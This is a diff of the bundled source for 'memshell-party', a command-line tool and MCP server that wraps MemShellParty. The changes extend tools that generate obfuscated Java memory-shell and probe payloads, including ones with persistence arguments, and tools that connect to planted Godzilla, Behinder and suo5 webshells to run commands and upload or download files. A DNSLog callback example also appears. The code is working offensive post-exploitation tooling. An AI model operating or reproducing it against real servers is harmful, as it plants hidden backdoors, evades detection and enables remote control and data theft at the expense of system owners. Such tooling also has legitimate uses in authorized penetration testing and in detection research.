- jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
4477
+ jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
3764
4478
  debug: z.boolean().optional(),
3765
4479
  byPassJavaModule: z.boolean().optional(),
3766
4480
  shrink: z.boolean().optional(),
3767
4481
  lambdaSuffix: z.boolean().optional(),
3768
4482
  probe: z.boolean().optional(),
4483
+ obfuscate: z.boolean().optional(),
4484
+ obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
4485
+ obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
3769
4486
  shellClassName: z.string().optional(),
3770
4487
  godzillaPass: z.string().optional(),
3771
4488
  godzillaKey: z.string().optional(),
@@ -3780,17 +4497,23 @@ var memShellInput = {
3780
4497
  shellClassBase64: z.string().optional(),
3781
4498
  urlPattern: z.string().optional(),
3782
4499
  injectorClassName: z.string().optional(),
3783
- staticInitialize: z.boolean().optional()
4500
+ staticInitialize: z.boolean().optional(),
4501
+ agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
4502
+ outputFile: z.string().optional().describe(
4503
+ "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
4504
+ )
3784
4505
  };
3785
4506
  var probeInput = {
3786
- probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
3787
- probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
4507
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
4508
+ probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
3788
4509
  packer: z.string(),
3789
4510
  jdk: z.string().optional(),
3790
4511
  debug: z.boolean().optional(),
3791
4512
  byPassJavaModule: z.boolean().optional(),
3792
4513
  shrink: z.boolean().optional(),
3793
4514
  lambdaSuffix: z.boolean().optional(),
4515
+ obfuscate: z.boolean().optional(),
4516
+ obfuscationOptions: memShellInput.obfuscationOptions,
3794
4517
  staticInitialize: z.boolean().optional(),
3795
4518
  shellClassName: z.string().optional(),
3796
4519
  host: z.string().optional(),
@@ -3798,7 +4521,31 @@ var probeInput = {
3798
4521
  sleepServer: z.string().optional(),
3799
4522
  server: z.string().optional(),
3800
4523
  reqParamName: z.string().optional(),
3801
- commandTemplate: z.string().optional()
4524
+ commandTemplate: z.string().optional(),
4525
+ respHeaderName: z.string().optional(),
4526
+ outputFile: memShellInput.outputFile
4527
+ };
4528
+ var bytecodeInput = {
4529
+ classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
4530
+ outputFile: z.string().optional().describe("also write the transformed class to this local file")
4531
+ };
4532
+ var bytecodeTransformInput = {
4533
+ ...bytecodeInput,
4534
+ packer: z.string().optional(),
4535
+ byPassJavaModule: z.boolean().optional(),
4536
+ staticInitialize: z.boolean().optional(),
4537
+ shrink: z.boolean().optional(),
4538
+ renamePackage: z.boolean().optional(),
4539
+ relocateFrom: z.string().optional(),
4540
+ relocateTo: z.string().optional(),
4541
+ entryMethod: z.string().optional(),
4542
+ newClassName: z.string().optional(),
4543
+ randomName: z.boolean().optional(),
4544
+ obfuscate: z.boolean().optional(),
4545
+ obfuscationOptions: memShellInput.obfuscationOptions,
4546
+ server: z.string().optional(),
4547
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
4548
+ respHeaderName: z.string().optional()
3802
4549
  };
3803
4550
  var connectInput = {
3804
4551
  name: z.string().optional().describe(
@@ -3812,7 +4559,8 @@ var connectInput = {
3812
4559
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
3813
4560
  suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
3814
4561
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
3815
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4562
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4563
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
3816
4564
  };
3817
4565
  var execInput = {
3818
4566
  name: z.string().optional().describe(
@@ -3829,7 +4577,8 @@ var execInput = {
3829
4577
  headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
3830
4578
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
3831
4579
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
3832
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
4580
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
4581
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
3833
4582
  };
3834
4583
  var transferConnInput = {
3835
4584
  name: execInput.name,
@@ -3841,6 +4590,7 @@ var transferConnInput = {
3841
4590
  headerValue: execInput.headerValue,
3842
4591
  insecure: execInput.insecure,
3843
4592
  timeoutMs: execInput.timeoutMs,
4593
+ upgradeProtocol: execInput.upgradeProtocol,
3844
4594
  remoteCharset: z.string().optional().describe(
3845
4595
  "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
3846
4596
  )
@@ -3868,12 +4618,82 @@ var targetSaveInput = {
3868
4618
  headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
3869
4619
  headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
3870
4620
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
4621
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
3871
4622
  projectRemark: z.string().optional().describe("project remark (merged into the project)"),
3872
4623
  projectCategory: z.string().optional().describe("project category (merged into the project)"),
3873
4624
  shellRemark: z.string().optional().describe("remark for this shell")
3874
4625
  };
3875
4626
  function createMcpServer(client) {
3876
4627
  const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
4628
+ server.registerTool(
4629
+ "bytecode_decode",
4630
+ {
4631
+ title: "Decode Java class",
4632
+ description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
4633
+ inputSchema: bytecodeInput
4634
+ },
4635
+ async (args) => {
4636
+ try {
4637
+ const result = await client.decodeBytecode(args.classBytesBase64);
4638
+ const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
4639
+ { packResult: result.classBytesBase64Str },
4640
+ { outFile: args.outputFile, decode: true }
4641
+ );
4642
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4643
+ } catch (err) {
4644
+ return errorContent(err);
4645
+ }
4646
+ }
4647
+ );
4648
+ server.registerTool(
4649
+ "bytecode_transform",
4650
+ {
4651
+ title: "Transform Java class",
4652
+ description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
4653
+ inputSchema: bytecodeTransformInput
4654
+ },
4655
+ async (args) => {
4656
+ try {
4657
+ const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
4658
+ if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
4659
+ throw new Error("Package relocation requires relocateFrom and relocateTo.");
4660
+ }
4661
+ const {
4662
+ outputFile: outputPath,
4663
+ obfuscate: _obfuscate,
4664
+ obfuscationOptions,
4665
+ probeMethod,
4666
+ server: server2,
4667
+ respHeaderName,
4668
+ ...fields
4669
+ } = args;
4670
+ const request = {
4671
+ obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
4672
+ ...probeMethod === void 0 ? {} : {
4673
+ server: server2 ?? "Unknown",
4674
+ probe: {
4675
+ probeMethod,
4676
+ probeContent: "Bytecode",
4677
+ respHeaderName
4678
+ }
4679
+ }
4680
+ };
4681
+ const result = await client.transformBytecode({
4682
+ classBytesBase64: args.classBytesBase64,
4683
+ ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
4684
+ ...renamePackage ? { renamePackage } : {},
4685
+ ...request
4686
+ });
4687
+ const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
4688
+ { packResult: result.packResult ?? result.classBytesBase64Str },
4689
+ { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
4690
+ );
4691
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
4692
+ } catch (err) {
4693
+ return errorContent(err);
4694
+ }
4695
+ }
4696
+ );
3877
4697
  server.registerTool(
3878
4698
  "list_servers",
3879
4699
  { title: "List servers", description: "List supported servers and their shell types" },
@@ -3924,9 +4744,41 @@ function createMcpServer(client) {
3924
4744
  }
3925
4745
  }
3926
4746
  );
4747
+ server.registerTool(
4748
+ "list_shell_tool_configs",
4749
+ {
4750
+ title: "List shell tool configs",
4751
+ description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
4752
+ },
4753
+ async () => {
4754
+ try {
4755
+ return jsonContent(await client.getShellToolConfigs());
4756
+ } catch (err) {
4757
+ return errorContent(err);
4758
+ }
4759
+ }
4760
+ );
4761
+ server.registerTool(
4762
+ "list_obfuscation_options",
4763
+ {
4764
+ title: "List obfuscation options",
4765
+ description: "List class obfuscation option keys, defaults and valid values (v3+)"
4766
+ },
4767
+ async () => {
4768
+ try {
4769
+ return jsonContent(await client.getObfuscationOptions());
4770
+ } catch (err) {
4771
+ return errorContent(err);
4772
+ }
4773
+ }
4774
+ );
3927
4775
  server.registerTool(
3928
4776
  "generate_memshell",
3929
- { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
4777
+ {
4778
+ title: "Generate memory shell",
4779
+ description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
4780
+ inputSchema: memShellInput
4781
+ },
3930
4782
  async (args) => {
3931
4783
  const meta = {
3932
4784
  server: args.server,
@@ -3938,7 +4790,18 @@ function createMcpServer(client) {
3938
4790
  };
3939
4791
  const started = Date.now();
3940
4792
  try {
3941
- const response = await client.generateMemShell(buildMemShellRequest(args));
4793
+ if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
4794
+ throw new Error(
4795
+ "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4796
+ );
4797
+ }
4798
+ const response = await client.generateMemShell(
4799
+ buildMemShellRequest({
4800
+ ...args,
4801
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
4802
+ })
4803
+ );
4804
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
3942
4805
  logOp({
3943
4806
  category: "gen",
3944
4807
  action: "gen",
@@ -3947,7 +4810,14 @@ function createMcpServer(client) {
3947
4810
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
3948
4811
  meta
3949
4812
  });
3950
- return jsonContent(response);
4813
+ return jsonContent({
4814
+ ...response,
4815
+ ...outputFile === void 0 ? {} : { outputFile },
4816
+ ...args.agentArgs === void 0 ? {} : {
4817
+ agentArgs: args.agentArgs,
4818
+ agentLoadExamples: agentLoadExamples(args.agentArgs)
4819
+ }
4820
+ });
3951
4821
  } catch (err) {
3952
4822
  logOp({
3953
4823
  category: "gen",
@@ -3963,7 +4833,11 @@ function createMcpServer(client) {
3963
4833
  );
3964
4834
  server.registerTool(
3965
4835
  "generate_probe",
3966
- { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
4836
+ {
4837
+ title: "Generate probe shell",
4838
+ description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
4839
+ inputSchema: probeInput
4840
+ },
3967
4841
  async (args) => {
3968
4842
  const meta = {
3969
4843
  probeMethod: args.probeMethod,
@@ -3973,7 +4847,13 @@ function createMcpServer(client) {
3973
4847
  };
3974
4848
  const started = Date.now();
3975
4849
  try {
3976
- const response = await client.generateProbe(buildProbeRequest(args));
4850
+ const response = await client.generateProbe(
4851
+ buildProbeRequest({
4852
+ ...args,
4853
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
4854
+ })
4855
+ );
4856
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
3977
4857
  logOp({
3978
4858
  category: "probe",
3979
4859
  action: "probe",
@@ -3982,7 +4862,7 @@ function createMcpServer(client) {
3982
4862
  detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
3983
4863
  meta
3984
4864
  });
3985
- return jsonContent(response);
4865
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
3986
4866
  } catch (err) {
3987
4867
  logOp({
3988
4868
  category: "probe",
@@ -4038,29 +4918,19 @@ function createMcpServer(client) {
4038
4918
  key: args.key,
4039
4919
  headerName: args.headerName,
4040
4920
  headerValue: args.headerValue,
4041
- insecure: args.insecure
4921
+ insecure: args.insecure,
4922
+ upgradeProtocol: args.upgradeProtocol
4042
4923
  });
4043
4924
  const common = {
4044
4925
  headerName: conn.headerName,
4045
4926
  headerValue: conn.headerValue,
4046
4927
  extraHeaders: conn.extraHeaders,
4047
4928
  timeoutMs: args.timeoutMs,
4048
- insecure: conn.insecure
4929
+ insecure: conn.insecure,
4930
+ upgradeProtocol: conn.upgradeProtocol
4049
4931
  };
4050
- let result;
4051
- switch (conn.tool) {
4052
- case "godzilla":
4053
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
4054
- break;
4055
- case "behinder":
4056
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
4057
- break;
4058
- case "suo5":
4059
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
4060
- break;
4061
- default:
4062
- throw new Error(`unknown tool ${String(conn.tool)}`);
4063
- }
4932
+ const options = { suo5Mode: args.suo5Mode };
4933
+ const result = await requireProtocol(conn.tool).test({ conn, common, options });
4064
4934
  let savedAs;
4065
4935
  if (result.ok && conn.targetName === void 0) {
4066
4936
  savedAs = autoSaveShell(conn);
@@ -4099,32 +4969,20 @@ function createMcpServer(client) {
4099
4969
  key: args.key,
4100
4970
  headerName: args.headerName,
4101
4971
  headerValue: args.headerValue,
4102
- insecure: args.insecure
4972
+ insecure: args.insecure,
4973
+ upgradeProtocol: args.upgradeProtocol
4103
4974
  });
4104
4975
  const common = {
4105
4976
  headerName: conn.headerName,
4106
4977
  headerValue: conn.headerValue,
4107
4978
  extraHeaders: conn.extraHeaders,
4108
4979
  timeoutMs: args.timeoutMs,
4109
- insecure: conn.insecure
4980
+ insecure: conn.insecure,
4981
+ upgradeProtocol: conn.upgradeProtocol
4110
4982
  };
4111
- let result;
4112
- switch (conn.tool) {
4113
- case "godzilla":
4114
- result = await execGodzilla(
4115
- conn.url,
4116
- conn.pass ?? "pass",
4117
- conn.key ?? "key",
4118
- args.command,
4119
- { ...common, os: args.os }
4120
- );
4121
- break;
4122
- case "behinder":
4123
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
4124
- break;
4125
- default:
4126
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
4127
- }
4983
+ const protocol = requireProtocol(conn.tool);
4984
+ if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
4985
+ const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
4128
4986
  let savedAs;
4129
4987
  if (result.ok && conn.targetName === void 0) {
4130
4988
  savedAs = autoSaveShell(conn);
@@ -4166,38 +5024,24 @@ function createMcpServer(client) {
4166
5024
  key: args.key,
4167
5025
  headerName: args.headerName,
4168
5026
  headerValue: args.headerValue,
4169
- insecure: args.insecure
5027
+ insecure: args.insecure,
5028
+ upgradeProtocol: args.upgradeProtocol
4170
5029
  });
4171
5030
  const common = {
4172
5031
  headerName: conn.headerName,
4173
5032
  headerValue: conn.headerValue,
4174
5033
  extraHeaders: conn.extraHeaders,
4175
5034
  timeoutMs: args.timeoutMs,
4176
- insecure: conn.insecure
5035
+ insecure: conn.insecure,
5036
+ upgradeProtocol: conn.upgradeProtocol
4177
5037
  };
4178
5038
  const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
4179
- let result;
4180
- switch (conn.tool) {
4181
- case "godzilla":
4182
- result = await downloadGodzilla(
4183
- conn.url,
4184
- conn.pass ?? "pass",
4185
- conn.key ?? "key",
4186
- args.remotePath,
4187
- { ...common, remoteCharset: args.remoteCharset }
4188
- );
4189
- break;
4190
- case "behinder":
4191
- result = await downloadBehinder(
4192
- conn.url,
4193
- conn.pass ?? "rebeyond",
4194
- args.remotePath,
4195
- common
4196
- );
4197
- break;
4198
- default:
4199
- throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
4200
- }
5039
+ const protocol = requireProtocol(conn.tool);
5040
+ if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
5041
+ let result = await protocol.download(
5042
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5043
+ args.remotePath
5044
+ );
4201
5045
  if (result.ok && result.data !== void 0) {
4202
5046
  try {
4203
5047
  writeFileSync5(localPath, result.data);
@@ -4249,40 +5093,25 @@ function createMcpServer(client) {
4249
5093
  key: args.key,
4250
5094
  headerName: args.headerName,
4251
5095
  headerValue: args.headerValue,
4252
- insecure: args.insecure
5096
+ insecure: args.insecure,
5097
+ upgradeProtocol: args.upgradeProtocol
4253
5098
  });
4254
5099
  const common = {
4255
5100
  headerName: conn.headerName,
4256
5101
  headerValue: conn.headerValue,
4257
5102
  extraHeaders: conn.extraHeaders,
4258
5103
  timeoutMs: args.timeoutMs,
4259
- insecure: conn.insecure
5104
+ insecure: conn.insecure,
5105
+ upgradeProtocol: conn.upgradeProtocol
4260
5106
  };
4261
5107
  const data = readUploadFile(args.localPath);
4262
- let result;
4263
- switch (conn.tool) {
4264
- case "godzilla":
4265
- result = await uploadGodzilla(
4266
- conn.url,
4267
- conn.pass ?? "pass",
4268
- conn.key ?? "key",
4269
- args.remotePath,
4270
- data,
4271
- { ...common, remoteCharset: args.remoteCharset }
4272
- );
4273
- break;
4274
- case "behinder":
4275
- result = await uploadBehinder(
4276
- conn.url,
4277
- conn.pass ?? "rebeyond",
4278
- args.remotePath,
4279
- data,
4280
- common
4281
- );
4282
- break;
4283
- default:
4284
- throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
4285
- }
5108
+ const protocol = requireProtocol(conn.tool);
5109
+ if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
5110
+ const result = await protocol.upload(
5111
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
5112
+ args.remotePath,
5113
+ data
5114
+ );
4286
5115
  let savedAs;
4287
5116
  if (result.ok && conn.targetName === void 0) {
4288
5117
  savedAs = autoSaveShell(conn);
@@ -4329,6 +5158,7 @@ function createMcpServer(client) {
4329
5158
  headerName: args.headerName,
4330
5159
  headerValue: args.headerValue,
4331
5160
  insecure: args.insecure,
5161
+ upgradeProtocol: args.upgradeProtocol,
4332
5162
  remark: args.shellRemark
4333
5163
  });
4334
5164
  logOp({
@@ -4493,7 +5323,7 @@ function registerMcpCommand(program) {
4493
5323
  }
4494
5324
 
4495
5325
  // src/commands/parse-classname.ts
4496
- import { readFileSync as readFileSync9 } from "fs";
5326
+ import { readFileSync as readFileSync10 } from "fs";
4497
5327
  function registerParseClassNameCommand(program) {
4498
5328
  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
4499
5329
  "after",
@@ -4506,7 +5336,7 @@ Examples:
4506
5336
  ).action(async (base64, opts, cmd) => {
4507
5337
  let classBase64;
4508
5338
  if (opts.file) {
4509
- classBase64 = readFileSync9(opts.file).toString("base64");
5339
+ classBase64 = readFileSync10(opts.file).toString("base64");
4510
5340
  } else if (base64) {
4511
5341
  classBase64 = base64.trim();
4512
5342
  } else {
@@ -4520,7 +5350,7 @@ Examples:
4520
5350
  }
4521
5351
 
4522
5352
  // src/commands/probe.ts
4523
- import { Option as Option5 } from "commander";
5353
+ import { Option as Option6 } from "commander";
4524
5354
 
4525
5355
  // src/wizard/probe-wizard.ts
4526
5356
  import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
@@ -4528,26 +5358,40 @@ var JDK_CHOICES2 = [
4528
5358
  { name: "server default", value: "" },
4529
5359
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
4530
5360
  ];
4531
- var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
4532
- var PROBE_CONTENTS = ["BasicInfo", "Server", "OS", "JDK", "Bytecode", "Command"];
5361
+ var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
5362
+ var PROBE_CONTENTS = {
5363
+ ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5364
+ ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
5365
+ DNSLog: ["Server", "JDK"],
5366
+ Sleep: ["Server"]
5367
+ };
4533
5368
  async function runProbeWizard(client) {
4534
- const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
4535
- const servers = Object.keys(config);
5369
+ const [packerTree, discoveredServers, config] = await Promise.all([
5370
+ client.getPackerTree(),
5371
+ client.getProbeResponseServers(),
5372
+ client.getConfig()
5373
+ ]);
5374
+ const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
4536
5375
  const probeMethod = await select2({
4537
5376
  message: "Probe method",
4538
5377
  choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
4539
5378
  });
4540
5379
  const probeContent = await select2({
4541
5380
  message: "Probe content",
4542
- choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c }))
5381
+ choices: PROBE_CONTENTS[probeMethod].map((content) => ({
5382
+ name: content,
5383
+ value: content
5384
+ }))
4543
5385
  });
4544
- const packer = await select2({
4545
- message: "Packer",
4546
- choices: packerTree.flatMap((p) => [
4547
- { name: p.name, value: p.name },
4548
- ...p.children.map((c) => ({ name: ` ${c}`, value: c }))
4549
- ])
5386
+ const category = await select2({
5387
+ message: "Packer category",
5388
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
4550
5389
  });
5390
+ const selected = packerTree.find((packer2) => packer2.name === category);
5391
+ const packer = selected.children.length ? await select2({
5392
+ message: "Packer variant",
5393
+ choices: selected.children.map((name) => ({ name, value: name }))
5394
+ }) : category;
4551
5395
  const opts = { probeMethod, probeContent, packer };
4552
5396
  switch (probeMethod) {
4553
5397
  case "DNSLog":
@@ -4561,15 +5405,19 @@ async function runProbeWizard(client) {
4561
5405
  opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
4562
5406
  break;
4563
5407
  case "ResponseBody":
5408
+ case "ResponseHeader":
4564
5409
  opts.server = await select2({
4565
5410
  message: "Server",
4566
5411
  choices: servers.map((s) => ({ name: s, value: s }))
4567
5412
  });
4568
- opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
5413
+ opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
4569
5414
  opts.commandTemplate = await input2({
4570
5415
  message: "Command template (optional, {command} placeholder)",
4571
5416
  default: ""
4572
5417
  });
5418
+ if (probeMethod === "ResponseHeader") {
5419
+ opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
5420
+ }
4573
5421
  break;
4574
5422
  default:
4575
5423
  break;
@@ -4585,7 +5433,8 @@ async function runProbeWizard(client) {
4585
5433
  { name: "static initialize", value: "staticInitialize", checked: true },
4586
5434
  { name: "bypass Java module", value: "byPassJavaModule" },
4587
5435
  { name: "lambda suffix", value: "lambdaSuffix" },
4588
- { name: "debug", value: "debug" }
5436
+ { name: "debug", value: "debug" },
5437
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
4589
5438
  ]
4590
5439
  });
4591
5440
  opts.shrink = toggles.includes("shrink");
@@ -4593,6 +5442,7 @@ async function runProbeWizard(client) {
4593
5442
  opts.byPassJavaModule = toggles.includes("byPassJavaModule");
4594
5443
  opts.lambdaSuffix = toggles.includes("lambdaSuffix");
4595
5444
  opts.debug = toggles.includes("debug");
5445
+ opts.obfuscate = toggles.includes("obfuscate");
4596
5446
  const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
4597
5447
  if (!confirmed) throw new Error("Cancelled by user.");
4598
5448
  return opts;
@@ -4610,6 +5460,8 @@ function toOptions2(o) {
4610
5460
  byPassJavaModule: o.bypassModule,
4611
5461
  shrink: o.shrink,
4612
5462
  lambdaSuffix: o.lambdaSuffix,
5463
+ obfuscate: o.obfuscate,
5464
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
4613
5465
  staticInitialize: o.staticInitialize,
4614
5466
  shellClassName: o.shellClassName,
4615
5467
  host: o.host,
@@ -4617,11 +5469,12 @@ function toOptions2(o) {
4617
5469
  sleepServer: o.sleepServer,
4618
5470
  server: o.server,
4619
5471
  reqParamName: o.reqParamName,
4620
- commandTemplate: o.commandTemplate
5472
+ commandTemplate: o.commandTemplate,
5473
+ respHeaderName: o.respHeaderName
4621
5474
  };
4622
5475
  }
4623
5476
  function registerProbeCommand(program) {
4624
- program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5477
+ program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4625
5478
  "after",
4626
5479
  `
4627
5480
  Examples:
@@ -4631,6 +5484,7 @@ Examples:
4631
5484
  $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
4632
5485
  $ memparty probe -m Sleep -c Server -p DefaultBase64 \\
4633
5486
  --sleep-server Tomcat --seconds 5
5487
+ $ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
4634
5488
 
4635
5489
  Note: a probe is a detection shell that reports what the target supports.
4636
5490
  The server name reported by '-c Server' is the value to pass as
@@ -4683,13 +5537,20 @@ The server name reported by '-c Server' is the value to pass as
4683
5537
  meta: probeMeta
4684
5538
  });
4685
5539
  if (opts.json) {
4686
- process.stdout.write(`${JSON.stringify(response, null, 2)}
5540
+ const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
5541
+ const doc = outputFile === void 0 ? response : { ...response, outputFile };
5542
+ process.stdout.write(`${JSON.stringify(doc, null, 2)}
4687
5543
  `);
4688
5544
  return;
4689
5545
  }
4690
5546
  const r = response.probeShellResult;
4691
5547
  logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
4692
